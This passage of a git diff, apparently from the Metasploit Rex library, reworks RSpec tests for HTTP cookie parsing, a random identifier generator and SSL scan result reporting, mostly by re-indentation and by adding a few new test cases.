2013 20:29:23 GMT + Cache-Control: no-cache, must-revalidate, max-age=0 + Pragma: no-cache + Set-Cookie: wordpressuser_a97c5267613d6de70e821ff82dd1ab94=admin; path=/wordpress-2.0/, wordpresspass_a97c5267613d6de70e821ff82dd1ab94=c3284d0f94606de1fd2af172aba15bf3; path=/wordpress-2.0/ + Vary: Accept-Encoding + Content-Length: 0 + Content-Type: text/html; charset=UTF-8 + + <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" + "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> + HEREDOC + end + + def cookie_sanity_check(meth) + resp = described_class.new() + resp.parse(self.send meth) + cookies = resp.get_cookies + cookies.should_not be_nil + cookies.should_not be '' + cookies.split(';').map(&:strip) + end + + context "#get_cookies" do + + it 'returns empty string for no Set-Cookies' do + resp = described_class.new() + resp.parse(get_cookies_test_no_cookies) + resp.get_cookies.should eq('') + end + + it 'returns 5 cookies when given 5 cookies non-sequentially' do + cookies_array = cookie_sanity_check(:get_cookies_test_five_cookies) + cookies_array.count.should eq(5) + cookies_array.should =~ %w( + pma_lang=en + pma_collation_connection=utf8_general_ci + pma_mcrypt_iv=mF1NmTE64IY%3D + phpMyAdmin=fmilioji5cn4m8bo5vjrrr6q9cada954 + phpMyAdmin=gpjif0gtpqbvfion91ddtrq8p8vgjtue + ) + end + + it 'returns and parses 5 cookies when given 5 ordered cookies' do + cookies_array = cookie_sanity_check(:get_cookies_test_five_ordered_cookies) + cookies_array.count.should eq(5) + expected_cookies = %w{ + pma_lang=en + pma_collation_connection=utf8_general_ci + pma_mcrypt_iv=mF1NmTE64IY%3D + phpMyAdmin=fmilioji5cn4m8bo5vjrrr6q9cada954 + superC00kie!=stupidcookie + } + expected_cookies.shuffle! + cookies_array.should include(*expected_cookies) + end + + it 'parses an empty cookie value' do + cookies_array = cookie_sanity_check(:get_cookies_test_with_empty_cookie) + cookies_array.count.should eq(5) + expected_cookies = %w{ + pma_lang=en + pma_collation_connection=utf8_general_ci + pma_mcrypt_iv=mF1NmTE64IY%3D + phpMyAdmin= + phpMyAdmin=gpjif0gtpqbvfion91ddtrq8p8vgjtue + } + expected_cookies.shuffle! + cookies_array.should include(*expected_cookies) + + end + + it 'parses multiple cookies in one Set-Cookie header' do + cookies_array = cookie_sanity_check(:get_cookies_test_one_set_cookie_header) + cookies_array.count.should eq(2) + expected_cookies = %w{ + wordpressuser_a97c5267613d6de70e821ff82dd1ab94=admin + wordpresspass_a97c5267613d6de70e821ff82dd1ab94=c3284d0f94606de1fd2af172aba15bf3 + } + expected_cookies.shuffle! + cookies_array.should include(*expected_cookies) + end + + end - it "get_cookies returns 5 cookies for test 4 and parses empty value" do - resp = R.new() - resp.parse(get_cookies_test_4) - resp.get_cookies.split(';').count.should eq(5) - resp.get_cookies.include?("phpMyAdmin=;").should be_true - end end + diff --git a/spec/lib/rex/random_identifier_generator_spec.rb b/spec/lib/rex/random_identifier_generator_spec.rb index 1660f4898c..4a793425bb 100644 --- a/spec/lib/rex/random_identifier_generator_spec.rb +++ b/spec/lib/rex/random_identifier_generator_spec.rb @@ -2,122 +2,140 @@ require 'spec_helper' require 'rex/random_identifier_generator' describe Rex::RandomIdentifierGenerator do - let(:options) do - { :min_length => 10, :max_length => 20 } - end + let(:options) do + { :min_length => 10, :max_length => 20 } + end - subject(:rig) { described_class.new(options) } + subject(:rig) { described_class.new(options) } - it { should respond_to(:generate) } - it { should respond_to(:[]) } - it { should respond_to(:get) } + it { should respond_to(:generate) } + it { should respond_to(:[]) } + it { should respond_to(:get) } + it { should respond_to(:store) } + it { should respond_to(:to_h) } - describe "#generate" do - it "should respect :min_length" do - 1000.times do - rig.generate.length.should >= options[:min_length] - end - end + describe "#generate" do + it "should respect :min_length" do + 1000.times do + rig.generate.length.should >= options[:min_length] + end + end - it "should respect :max_length" do - 1000.times do - rig.generate.length.should <= options[:max_length] - end - end + it "should respect :max_length" do + 1000.times do + rig.generate.length.should <= options[:max_length] + end + end - it "should allow mangling in a block" do - ident = rig.generate { |identifier| identifier.upcase } - ident.should match(/\A[A-Z0-9_]*\Z/) + it "should allow mangling in a block" do + ident = rig.generate { |identifier| identifier.upcase } + ident.should match(/\A[A-Z0-9_]*\Z/) - ident = subject.generate { |identifier| identifier.downcase } - ident.should match(/\A[a-z0-9_]*\Z/) + ident = subject.generate { |identifier| identifier.downcase } + ident.should match(/\A[a-z0-9_]*\Z/) - ident = subject.generate { |identifier| identifier.gsub("A","B") } - ident.should_not include("A") - end - end + ident = subject.generate { |identifier| identifier.gsub("A","B") } + ident.should_not include("A") + end + end - describe "#get" do - let(:options) do - { :min_length=>3, :max_length=>3 } - end - it "should return the same thing for subsequent calls" do - rig.get(:rspec).should == rig.get(:rspec) - end - it "should not return the same for different names" do - # Statistically... - count = 1000 - a = Set.new - count.times do |n| - a.add rig.get(n) - end - a.size.should == count - end + describe "#get" do + let(:options) do + { :min_length=>3, :max_length=>3 } + end + it "should return the same thing for subsequent calls" do + rig.get(:rspec).should == rig.get(:rspec) + end + it "should not return the same for different names" do + # Statistically... + count = 1000 + a = Set.new + count.times do |n| + a.add rig.get(n) + end + a.size.should == count + end - context "with an exhausted set" do - let(:options) do - { :char_set => "abcd", :min_length=>2, :max_length=>2 } - end - let(:max_permutations) do - # 26 because first char is hardcoded to be lowercase alpha - 26 * (options[:char_set].length ** options[:min_length]) - end + context "with an exhausted set" do + let(:options) do + { :char_set => "abcd", :min_length=>2, :max_length=>2 } + end + let(:max_permutations) do + # 26 because first char is hardcoded to be lowercase alpha + 26 * (options[:char_set].length ** options[:min_length]) + end - it "doesn't infinite loop" do - Timeout.timeout(1) do - expect { - (max_permutations + 1).times { |i| rig.get(i) } - }.to raise_error(Rex::RandomIdentifierGenerator::ExhaustedSpaceError) - # don't rescue TimeoutError here because we want that to be a - # failure case - end - end + it "doesn't infinite loop" do + Timeout.timeout(1) do + expect { + (max_permutations + 1).times { |i| rig.get(i) } + }.to raise_error(Rex::RandomIdentifierGenerator::ExhaustedSpaceError) + # don't rescue TimeoutError here because we want that to be a + # failure case + end + end - end + end - end + end - describe "#store" do - let(:options) do - { :char_set => "abcd", :min_length=>8, :max_length=>20 } - end + describe "#store" do + let(:options) do + { :char_set => "abcd", :min_length=>8, :max_length=>20 } + end - it "should allow smaller than minimum length" do - value = "a"*(options[:min_length]-1) - rig.store(:spec, value) - rig.get(:spec).should == value - end + it "should allow smaller than minimum length" do + value = "a"*(options[:min_length]-1) + rig.store(:spec, value) + rig.get(:spec).should == value + end - it "should allow bigger than maximum length" do - value = "a"*(options[:max_length]+1) - rig.store(:spec, value) - rig.get(:spec).should == value - end + it "should allow bigger than maximum length" do + value = "a"*(options[:max_length]+1) + rig.store(:spec, value) + rig.get(:spec).should == value + end - it "should raise if value is not unique" do - value = "a"*(options[:max_length]+1) - rig.store(:spec0, value) - rig.get(:spec0).should == value - expect { rig.store(:spec1, value) }.to raise_error - end + it "should raise if value is not unique" do + value = "a"*(options[:max_length]+1) + rig.store(:spec0, value) + rig.get(:spec0).should == value + expect { rig.store(:spec1, value) }.to raise_error + end - it "should overwrite a previously stored value" do - orig_value = "a"*(options[:max_length]) - rig.store(:spec, orig_value) - rig.get(:spec).should == orig_value + it "should overwrite a previously stored value" do + orig_value = "a"*(options[:max_length]) + rig.store(:spec, orig_value) + rig.get(:spec).should == orig_value - new_value = "b"*(options[:max_length]) - rig.store(:spec, new_value) - rig.get(:spec).should == new_value - end + new_value = "b"*(options[:max_length]) + rig.store(:spec, new_value) + rig.get(:spec).should == new_value + end - it "should overwrite a previously generated value" do - rig.get(:spec) + it "should overwrite a previously generated value" do + rig.get(:spec) - new_value = "a"*(options[:max_length]) - rig.store(:spec, new_value) - rig.get(:spec).should == new_value - end + new_value = "a"*(options[:max_length]) + rig.store(:spec, new_value) + rig.get(:spec).should == new_value + end + + end + + describe "#to_h" do + it "should return a Hash" do + rig.to_h.should be_kind_of(Hash) + end + it "should return expected key-value pairs" do + expected_keys = [:var_foo, :var_bar] + expected_keys.shuffle.each do |key| + rig.init_var(key) + end + rig.to_h.size.should eq(expected_keys.size) + rig.to_h.keys.should include(*expected_keys) + rig.to_h.values.map {|v| v.class}.uniq.should eq([String]) + end + end - end end diff --git a/spec/lib/rex/sslscan/result_spec.rb b/spec/lib/rex/sslscan/result_spec.rb index 9e0363750b..e2d66d4ce4 100644 --- a/spec/lib/rex/sslscan/result_spec.rb +++ b/spec/lib/rex/sslscan/result_spec.rb @@ -3,7 +3,7 @@ require 'rex/sslscan/result' describe Rex::SSLScan::Result do - subject{Rex::SSLScan::Result.new} + subject{Rex::SSLScan::Result.new} it { should respond_to :accepted } it { should respond_to :cert } @@ -21,507 +21,507 @@ describe Rex::SSLScan::Result do it { should respond_to :tlsv1 } it { should respond_to :weak_ciphers } - context "with no values set" do - it "should return nil for the cert" do - subject.cert.should == nil - end - - it "should return an empty set for ciphers" do - subject.ciphers.should be_empty - end - - it "should return an empty array for accepted" do - subject.accepted.should == [] - end - - it "should return an empty array for rejected" do - subject.rejected.should == [] - end - - it "should return an empty array for #sslv2" do - subject.sslv2.should == [] - end - - it "should return an empty array for #sslv3" do - subject.sslv3.should == [] - end - - it "should return an empty array for #tlsv1" do - subject.tlsv1.should == [] - end - - it "should return an empty array for #weak_ciphers" do - subject.weak_ciphers.should == [] - end - - it "should return an empty array for #strong_ciphers" do - subject.strong_ciphers.should == [] - end - - it "should return false for #supports_ssl?" do - subject.supports_ssl?.should == false - end - - it "should return false for #supports_ssl?v2" do - subject.supports_sslv2?.should == false - end - - it "should return false for #supports_sslv3?" do - subject.supports_sslv3?.should == false - end - - it "should return false for #supports_tlsv1?" do - subject.supports_tlsv1?.should == false - end - - it "should return false for #supports_weak_ciphers?" do - subject.supports_weak_ciphers?.should == false - end - - it "should return true for #standards_compliant?" do - subject.standards_compliant?.should == true - end - end - - context "setting the cert" do - it "should accept nil" do - subject.cert = nil - subject.cert.should == nil - end - - it "should accept an X509 cert" do - cert = OpenSSL::X509::Certificate.new - subject.cert = cert - subject.cert.should == cert - end - - it "should raise an exception for anything else" do - expect{subject.cert = "foo"}.to raise_error - end - end - - context "adding a cipher result" do - context "should raise an exception if" do - it "given an invalid SSL version" do - expect{subject.add_cipher(:ssl3, 'AES256-SHA', 256, :accepted )}.to raise_error - end - - it "given SSL version as a string" do - expect{subject.add_cipher('sslv3', 'AES256-SHA', 256, :accepted )}.to raise_error - end - - it "given an invalid SSL cipher" do - expect{subject.add_cipher(:SSLv3, 'FOO256-SHA', 256, :accepted )}.to raise_error - end - - it "given an unsupported cipher for the version" do - expect{subject.add_cipher(:SSLv3, 'DES-CBC3-MD5', 256, :accepted )}.to raise_error - end - - it "given a non-number for key length" do - expect{subject.add_cipher(:SSLv3, 'AES256-SHA', "256", :accepted )}.to raise_error - end - - it "given a decimal key length" do - expect{subject.add_cipher(:SSLv3, 'AES256-SHA', 25.6, :accepted )}.to raise_error - end - - it "given an invalid status" do - expect{subject.add_cipher(:SSLv3, 'AES256-SHA', 256, :good )}.to raise_error - end - - it "given status as a string" do - expect{subject.add_cipher(:SSLv3, 'AES256-SHA', 256, "accepted" )}.to raise_error - end - end - context "that was accepted" do - it "should add an SSLv2 cipher result to the SSLv2 Accepted array or generate an SSLv2 exception" do - begin - subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :accepted) - subject.accepted(:SSLv2).should include({ - :version => :SSLv2, - :cipher=>"DES-CBC3-MD5", - :key_length=>168, - :weak=> false, - :status => :accepted}) - rescue ArgumentError => e - e.message.should == "unknown SSL method `SSLv2'." - end - end - - it "should add an SSLv3 cipher result to the SSLv3 Accepted array" do - subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) - subject.accepted(:SSLv3).should include({ - :version => :SSLv3, - :cipher=>"AES256-SHA", - :key_length=>256, - :weak=> false, - :status => :accepted}) - end - - it "should add an TLSv1 cipher result to the TLSv1 Accepted array" do - subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) - subject.accepted(:TLSv1).should include({ - :version => :TLSv1, - :cipher=>"AES256-SHA", - :key_length=>256, - :weak=> false, - :status => :accepted}) - end - - it "should successfully add multiple entries in a row" do - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) - subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) - subject.accepted(:SSLv3).should include({ - :version => :SSLv3, - :cipher=>"AES256-SHA", - :key_length=>256, - :weak=> false, - :status => :accepted}) - subject.accepted(:SSLv3).should include({ - :version => :SSLv3, - :cipher=>"AES256-SHA", - :key_length=>256, - :weak=> false, - :status => :accepted}) - end - - it "should not add duplicate entries" do - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) - subject.accepted(:SSLv3).count.should == 1 - end - end - context "that was rejected" do - it "should add an SSLv2 cipher result to the SSLv2 Rejected array or generate an SSLv2 exception" do - begin - subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :rejected) - subject.rejected(:SSLv2).should include({ - :version => :SSLv2, - :cipher=>"DES-CBC3-MD5", - :key_length=>168, - :weak=> false, - :status => :rejected}) - rescue ArgumentError => e - e.message.should == "unknown SSL method `SSLv2'." - end - end - - it "should add an SSLv3 cipher result to the SSLv3 Rejected array" do - subject.add_cipher(:SSLv3, "AES256-SHA", 256, :rejected) - subject.rejected(:SSLv3).should include({ - :version => :SSLv3, - :cipher=>"AES256-SHA", - :key_length=>256, - :weak=> false, - :status => :rejected}) - end - - it "should add an TLSv1 cipher result to the TLSv1 Rejected array" do - subject.add_cipher(:TLSv1, "AES256-SHA", 256, :rejected) - subject.rejected(:TLSv1).should include({ - :version => :TLSv1, - :cipher=>"AES256-SHA", - :key_length=>256, - :weak=> false, - :status => :rejected}) - end - - it "should successfully add multiple entries in a row" do - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :rejected) - subject.add_cipher(:SSLv3, "AES256-SHA", 256, :rejected) - subject.rejected(:SSLv3).should include({ - :version => :SSLv3, - :cipher=>"AES256-SHA", - :key_length=>256, - :weak=> false, - :status => :rejected}) - subject.rejected(:SSLv3).should include({ - :version => :SSLv3, - :cipher=>"AES128-SHA", - :key_length=>128, - :weak=> false, - :status => :rejected}) - end - - it "should not add duplicate entries" do - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :rejected) - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :rejected) - subject.rejected(:SSLv3).count.should == 1 - end - end - end - - context "enumerating all accepted ciphers" do - before(:each) do - subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) - subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) - end - - context "with no version selected" do - it "should return an array of cipher detail hashes" do - subject.each_accepted do |cipher_details| - cipher_details.should include(:version, :cipher, :key_length, :status, :weak) - end - end - - it "should return all of the accepted cipher details" do - count = 0 - subject.each_accepted do |cipher_details| - count = count+1 - end - count.should == 3 - end - end - - context "when specifying one SSL version" do - it "should raise an exception if not given a symbol" do - expect{ subject.each_accepted('sslv2')}.to raise_error - end - - it "should raise an exception if given an invalid SSL version" do - expect{ subject.each_accepted(:TLSv3)}.to raise_error - end - - it "should return only ciphers matching the version" do - subject.each_accepted(:SSLv3) do |cipher_details| - cipher_details[:version].should == :SSLv3 - end - end - end - - context "when specifying multiple SSL Versions in an array" do - it "should return all versions if no valid versions were supplied" do - count = 0 - subject.each_accepted([:TLSv3, :TLSv4]) do |cipher_details| - count = count+1 - end - count.should == 3 - end - - it "should return only the ciphers for the specified version" do - subject.each_accepted([:SSLv3,:TLSv1]) do |cipher_details| - cipher_details[:version].should_not == :SSLv2 - end - end - end - end - - context "enumerating all rejected ciphers" do - before(:each) do - subject.add_cipher(:SSLv3, "AES256-SHA", 256, :rejected) - subject.add_cipher(:TLSv1, "AES256-SHA", 256, :rejected) - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :rejected) - end - - context "with no version selected" do - it "should return an array of cipher detail hashes" do - subject.each_rejected do |cipher_details| - cipher_details.should include(:version, :cipher, :key_length, :status, :weak) - end - end - - it "should return all of the rejected cipher details" do - count = 0 - subject.each_rejected do |cipher_details| - count = count+1 - end - count.should == 3 - end - end - - context "when specifying one SSL version" do - it "should raise an exception if not given a symbol" do - expect{ subject.each_rejected('sslv2')}.to raise_error - end - - it "should raise an exception if given an invalid SSL version" do - expect{ subject.each_rejected(:TLSv3)}.to raise_error - end - - it "should return only ciphers matching the version" do - subject.each_rejected(:SSLv3) do |cipher_details| - cipher_details[:version].should == :SSLv3 - end - end - end - - context "when specifying multiple SSL Versions in an array" do - it "should return all versions if no valid versions were supplied" do - count = 0 - subject.each_rejected([:TLSv3, :TLSv4]) do |cipher_details| - count = count+1 - end - count.should == 3 - end - - it "should return only the ciphers for the specified version" do - subject.each_rejected([:SSLv3,:TLSv1]) do |cipher_details| - cipher_details[:version].should_not == :SSLv2 - end - end - end - end - - context "checking SSL support" do - context "for SSLv2" do - it "should return false if there are no accepted ciphers" do - subject.supports_sslv2?.should == false - end - it "should return true if there are accepted ciphers or raise an SSLv2 exception" do - begin - subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :accepted) - subject.supports_sslv2?.should == true - rescue ArgumentError => e - e.message.should == "unknown SSL method `SSLv2'." - end - end - end - context "for SSLv3" do - it "should return false if there are no accepted ciphers" do - subject.supports_sslv3?.should == false - end - it "should return true if there are accepted ciphers" do - subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) - subject.supports_sslv3?.should == true - end - end - context "for TLSv1" do - it "should return false if there are no accepted ciphers" do - subject.supports_tlsv1?.should == false - end - it "should return true if there are accepted ciphers" do - subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) - subject.supports_tlsv1?.should == true - end - end - context "for SSL at large" do - it "should return false if there are no accepted ciphers" do - subject.supports_ssl?.should == false - end - it "should return true if there are accepted ciphers" do - subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) - subject.supports_ssl?.should == true - end - end - end - - context "checking for weak ciphers" do - context "when weak ciphers are supported" do - before(:each) do - subject.add_cipher(:SSLv3, "EXP-RC4-MD5", 40, :accepted) - subject.add_cipher(:SSLv3, "DES-CBC-SHA", 56, :accepted) - end - it "should return an array of weak ciphers from #weak_ciphers" do - weak = subject.weak_ciphers - weak.class.should == Array - weak.each do |cipher| - cipher[:weak].should == true - end - weak.count.should == 2 - end - - it "should return true from #supports_weak_ciphers" do - subject.supports_weak_ciphers?.should == true - end - end - - context "when no weak ciphers are supported" do - before(:each) do - subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) - subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) - end - it "should return an empty array from #weak_ciphers" do - subject.weak_ciphers.should == [] - end - - it "should return false from #supports_weak_ciphers" do - subject.supports_weak_ciphers?.should == false - end - end - end - - context "checking for standards compliance" do - it "should return true if there is no SSL support" do - subject.standards_compliant?.should == true - end - - it "should return false if SSLv2 is supported or raise an SSLv2 exception" do - begin - subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :accepted) - subject.standards_compliant?.should == false - rescue ArgumentError => e - e.message.should == "unknown SSL method `SSLv2'." - end - end - - it "should return false if weak ciphers are supported" do - subject.add_cipher(:SSLv3, "EXP-RC2-CBC-MD5", 40, :accepted) - subject.standards_compliant?.should == false - end - - it "should return true if SSLv2 and Weak Ciphers are disabled" do - subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) - subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) - subject.standards_compliant?.should == true - end - end - - context "when printing the results" do - context "when OpenSSL is compiled without SSLv2" do - before(:each) do - subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) - subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) - subject.openssl_sslv2 = false - end - it "should warn the user" do - subject.to_s.should include "*** WARNING: Your OS hates freedom! Your OpenSSL libs are compiled without SSLv2 support!" - end - end - - context "when we have SSL results" do - before(:each) do - subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) - subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) - subject.add_cipher(:SSLv3, "EXP-RC2-CBC-MD5", 40, :accepted) - - cert = OpenSSL::X509::Certificate.new - key = OpenSSL::PKey::RSA.new 2048 - cert.version = 2 # - cert.serial = 1 - cert.subject = OpenSSL::X509::Name.parse "/DC=org/DC=ruby-lang/CN=Ruby CA" - cert.issuer = cert.subject - cert.public_key = key.public_key - cert.not_before = Time.now - cert.not_after = cert.not_before + 2 * 365 * 24 * 60 * 60 # 2 - - subject.cert = cert - end - - it "should contain the certificate" do - subject.to_s.should include "Issuer: DC=org, DC=ruby-lang, CN=Ruby CA" - subject.to_s.should include "Subject: DC=org, DC=ruby-lang, CN=Ruby CA" - end - - it "should have a table with our SSL Cipher Results" do - subject.to_s.should include "Accepted * SSLv3 40 EXP-RC2-CBC-MD5" - subject.to_s.should include "Accepted SSLv3 128 AES128-SHA" - subject.to_s.should include "Accepted SSLv3 256 AES256-SHA" - subject.to_s.should include "Accepted TLSv1 256 AES256-SHA" - end - end - - it "should return an appropriate message when SSL is not supported" do - subject.stub(:supports_ssl?).and_return(false) - subject.to_s.should == "Server does not appear to support SSL on this port!" - end - - - end + context "with no values set" do + it "should return nil for the cert" do + subject.cert.should == nil + end + + it "should return an empty set for ciphers" do + subject.ciphers.should be_empty + end + + it "should return an empty array for accepted" do + subject.accepted.should == [] + end + + it "should return an empty array for rejected" do + subject.rejected.should == [] + end + + it "should return an empty array for #sslv2" do + subject.sslv2.should == [] + end + + it "should return an empty array for #sslv3" do + subject.sslv3.should == [] + end + + it "should return an empty array for #tlsv1" do + subject.tlsv1.should == [] + end + + it "should return an empty array for #weak_ciphers" do + subject.weak_ciphers.should == [] + end + + it "should return an empty array for #strong_ciphers" do + subject.strong_ciphers.should == [] + end + + it "should return false for #supports_ssl?" do + subject.supports_ssl?.should == false + end + + it "should return false for #supports_ssl?v2" do + subject.supports_sslv2?.should == false + end + + it "should return false for #supports_sslv3?" do + subject.supports_sslv3?.should == false + end + + it "should return false for #supports_tlsv1?" do + subject.supports_tlsv1?.should == false + end + + it "should return false for #supports_weak_ciphers?" do + subject.supports_weak_ciphers?.should == false + end + + it "should return true for #standards_compliant?" do + subject.standards_compliant?.should == true + end + end + + context "setting the cert" do + it "should accept nil" do + subject.cert = nil + subject.cert.should == nil + end + + it "should accept an X509 cert" do + cert = OpenSSL::X509::Certificate.new + subject.cert = cert + subject.cert.should == cert + end + + it "should raise an exception for anything else" do + expect{subject.cert = "foo"}.to raise_error + end + end + + context "adding a cipher result" do + context "should raise an exception if" do + it "given an invalid SSL version" do + expect{subject.add_cipher(:ssl3, 'AES256-SHA', 256, :accepted )}.to raise_error + end + + it "given SSL version as a string" do + expect{subject.add_cipher('sslv3', 'AES256-SHA', 256, :accepted )}.to raise_error + end + + it "given an invalid SSL cipher" do + expect{subject.add_cipher(:SSLv3, 'FOO256-SHA', 256, :accepted )}.to raise_error + end + + it "given an unsupported cipher for the version" do + expect{subject.add_cipher(:SSLv3, 'DES-CBC3-MD5', 256, :accepted )}.to raise_error + end + + it "given a non-number for key length" do + expect{subject.add_cipher(:SSLv3, 'AES256-SHA', "256", :accepted )}.to raise_error + end + + it "given a decimal key length" do + expect{subject.add_cipher(:SSLv3, 'AES256-SHA', 25.6, :accepted )}.to raise_error + end + + it "given an invalid status" do + expect{subject.add_cipher(:SSLv3, 'AES256-SHA', 256, :good )}.to raise_error + end + + it "given status as a string" do + expect{subject.add_cipher(:SSLv3, 'AES256-SHA', 256, "accepted" )}.to raise_error + end + end + context "that was accepted" do + it "should add an SSLv2 cipher result to the SSLv2 Accepted array or generate an SSLv2 exception" do + begin + subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :accepted) + subject.accepted(:SSLv2).should include({ + :version => :SSLv2, + :cipher=>"DES-CBC3-MD5", + :key_length=>168, + :weak=> false, + :status => :accepted}) + rescue ArgumentError => e + e.message.should == "unknown SSL method `SSLv2'." + end + end + + it "should add an SSLv3 cipher result to the SSLv3 Accepted array" do + subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) + subject.accepted(:SSLv3).should include({ + :version => :SSLv3, + :cipher=>"AES256-SHA", + :key_length=>256, + :weak=> false, + :status => :accepted}) + end + + it "should add an TLSv1 cipher result to the TLSv1 Accepted array" do + subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) + subject.accepted(:TLSv1).should include({ + :version => :TLSv1, + :cipher=>"AES256-SHA", + :key_length=>256, + :weak=> false, + :status => :accepted}) + end + + it "should successfully add multiple entries in a row" do + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) + subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) + subject.accepted(:SSLv3).should include({ + :version => :SSLv3, + :cipher=>"AES256-SHA", + :key_length=>256, + :weak=> false, + :status => :accepted}) + subject.accepted(:SSLv3).should include({ + :version => :SSLv3, + :cipher=>"AES256-SHA", + :key_length=>256, + :weak=> false, + :status => :accepted}) + end + + it "should not add duplicate entries" do + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) + subject.accepted(:SSLv3).count.should == 1 + end + end + context "that was rejected" do + it "should add an SSLv2 cipher result to the SSLv2 Rejected array or generate an SSLv2 exception" do + begin + subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :rejected) + subject.rejected(:SSLv2).should include({ + :version => :SSLv2, + :cipher=>"DES-CBC3-MD5", + :key_length=>168, + :weak=> false, + :status => :rejected}) + rescue ArgumentError => e + e.message.should == "unknown SSL method `SSLv2'." + end + end + + it "should add an SSLv3 cipher result to the SSLv3 Rejected array" do + subject.add_cipher(:SSLv3, "AES256-SHA", 256, :rejected) + subject.rejected(:SSLv3).should include({ + :version => :SSLv3, + :cipher=>"AES256-SHA", + :key_length=>256, + :weak=> false, + :status => :rejected}) + end + + it "should add an TLSv1 cipher result to the TLSv1 Rejected array" do + subject.add_cipher(:TLSv1, "AES256-SHA", 256, :rejected) + subject.rejected(:TLSv1).should include({ + :version => :TLSv1, + :cipher=>"AES256-SHA", + :key_length=>256, + :weak=> false, + :status => :rejected}) + end + + it "should successfully add multiple entries in a row" do + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :rejected) + subject.add_cipher(:SSLv3, "AES256-SHA", 256, :rejected) + subject.rejected(:SSLv3).should include({ + :version => :SSLv3, + :cipher=>"AES256-SHA", + :key_length=>256, + :weak=> false, + :status => :rejected}) + subject.rejected(:SSLv3).should include({ + :version => :SSLv3, + :cipher=>"AES128-SHA", + :key_length=>128, + :weak=> false, + :status => :rejected}) + end + + it "should not add duplicate entries" do + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :rejected) + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :rejected) + subject.rejected(:SSLv3).count.should == 1 + end + end + end + + context "enumerating all accepted ciphers" do + before(:each) do + subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) + subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) + end + + context "with no version selected" do + it "should return an array of cipher detail hashes" do + subject.each_accepted do |cipher_details| + cipher_details.should include(:version, :cipher, :key_length, :status, :weak) + end + end + + it "should return all of the accepted cipher details" do + count = 0 + subject.each_accepted do |cipher_details| + count = count+1 + end + count.should == 3 + end + end + + context "when specifying one SSL version" do + it "should raise an exception if not given a symbol" do + expect{ subject.each_accepted('sslv2')}.to raise_error + end + + it "should raise an exception if given an invalid SSL version" do + expect{ subject.each_accepted(:TLSv3)}.to raise_error + end + + it "should return only ciphers matching the version" do + subject.each_accepted(:SSLv3) do |cipher_details| + cipher_details[:version].should == :SSLv3 + end + end + end + + context "when specifying multiple SSL Versions in an array" do + it "should return all versions if no valid versions were supplied" do + count = 0 + subject.each_accepted([:TLSv3, :TLSv4]) do |cipher_details| + count = count+1 + end + count.should == 3 + end + + it "should return only the ciphers for the specified version" do + subject.each_accepted([:SSLv3,:TLSv1]) do |cipher_details| + cipher_details[:version].should_not == :SSLv2 + end + end + end + end + + context "enumerating all rejected ciphers" do + before(:each) do + subject.add_cipher(:SSLv3, "AES256-SHA", 256, :rejected) + subject.add_cipher(:TLSv1, "AES256-SHA", 256, :rejected) + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :rejected) + end + + context "with no version selected" do + it "should return an array of cipher detail hashes" do + subject.each_rejected do |cipher_details| + cipher_details.should include(:version, :cipher, :key_length, :status, :weak) + end + end + + it "should return all of the rejected cipher details" do + count = 0 + subject.each_rejected do |cipher_details| + count = count+1 + end + count.should == 3 + end + end + + context "when specifying one SSL version" do + it "should raise an exception if not given a symbol" do + expect{ subject.each_rejected('sslv2')}.to raise_error + end + + it "should raise an exception if given an invalid SSL version" do + expect{ subject.each_rejected(:TLSv3)}.to raise_error + end + + it "should return only ciphers matching the version" do + subject.each_rejected(:SSLv3) do |cipher_details| + cipher_details[:version].should == :SSLv3 + end + end + end + + context "when specifying multiple SSL Versions in an array" do + it "should return all versions if no valid versions were supplied" do + count = 0 + subject.each_rejected([:TLSv3, :TLSv4]) do |cipher_details| + count = count+1 + end + count.should == 3 + end + + it "should return only the ciphers for the specified 